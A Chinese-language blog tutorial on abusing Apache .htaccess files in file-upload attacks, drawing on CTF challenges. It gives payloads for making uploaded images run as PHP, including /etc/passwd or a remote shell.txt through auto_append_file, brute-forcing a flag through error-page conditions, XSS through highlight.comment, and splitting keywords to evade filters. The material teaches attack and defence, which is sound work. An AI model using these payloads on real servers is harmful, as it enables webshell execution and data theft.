文件上传之.htaccess的一些技巧

前言

文件上传的.htaccess分支进行学习并总结。

学的很少,继续努力。

.htaccess是什么?

.htaccess是一个配置文件,用来运行Apache Web Server的Web服务器。当 .htaccess 文件被放置在一个目录中时,该目录又“通过 Apache Web 服务器加载”,然后 .htaccess 文件被 Apache Web 服务器软件检测并执行。

.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All。

AllowOverride All #启动.htaccess文件的使用

常用方式

自定义出错误页面

向网站访问者显示友好的错误信息,不定义htaccess会显示404 File Not Found,定义htaccess可以显示自定义文件。

先自定义错误的回显文件。

ErrorDocument 404 /error_pages/404.html

告诉Apache服务器在发生404的时候显示/error_pages/404html。

津门杯的UploadHub就出了这个考点的题目。
分析请看链接

附件给出Apache配置
	<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
    php_flag engine off
	</Directory>

通过传hataccess,wp如下。

<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>

通过不断变换字符,写脚本爆破。

访问控制

限制用户访问目录或文件。

指定限制文件

<Files 1.php>
order allow,deny
deny from all
</Files>

限制用户对文件1.php访问,访问1.php,会出现403。

使用通配符指定文件

<Files *.php>
...
</Files>

重定向

重定向能将访问者从网站的文档引导到另一个文档。
创建.htaceess文件

Redirect /hacker/ http://www.yourdomain.com/hackers/index.html

将访问hacker的目录,引导到hackers的index.html。

SetHandler

SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。

SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

AddHandler cgi-script .xxx

扩展名为 .xxx 的文件作为 CGI 脚本来处理。

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

AddType application/x-httpd-php .png

会将png为后缀的文件当作php文件解析。

php_value

.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小。

php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容

php_flag

php_flag 用来设定布尔值的php 配置指令。可以将engine 设置为0,在本目录和子目录中关闭php 解析,造成源码泄露。

php_flag engine 0

#.htaccess文件利用。

利用404页面

<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>

通过不断变换字符,刷新到flag{。

文件包含

本地文件包含

当前目录php文件头引入/etc/passwd。

php_value auto_append_file /etc/passwd

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置
php_value include_path “xxx”将include()的默认路径改变。

php_value include_path "xxx"

远程文件包含

PHP 的 all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。

php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt

伪协议

打开all_url_fopenall_url_includeon

1.php_value auto_append_file data://text/plain;base64,bDNpZmUK
	2.php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

图片马解析

目标开启.htaccess并且上传黑名单没有限制.htaccess文件,先上传.hataccess文件,对目标环境的目录进行相关配置,在上传图片,使图片的 PHP 恶意代码得以被直接解析执行。

SetHandler指令
  <FilesMatch "1.png">
  SetHandler application/x-httpd-php
  </FilesMatch>
  将1.png当作php执行
	
  AddType指定
  AddType application/x-httpd-php .png
  将.png当作php文件解析

XSS攻击

通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。

设置的.hataccess文件。

php_value highlight.comment '"><script>alert(/xss/);</script>'

Bypass

绕过关键字过滤

使用反斜杠\加换行实现。题目过滤type、php等敏感字符。

AddTy\
pe application/x-httpd--ph\
p 1.png
# 即: AddType application/x-httpd-php 1.png

绕过脏字符

使用#\绕过.hataccess。由于脏字符不属于.hataccess文件的语法或指定,使文件不生效,使用#对脏字符进行注释。
可以参考[XNUCA2019Qualifier]EasyPHP WP链接

参考链接

hataccess利用总结
hataccess文件利用
Y4tacker的htaccess使用技巧
anquanke

本文作者:L3ife1, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞11赏点小钱 分享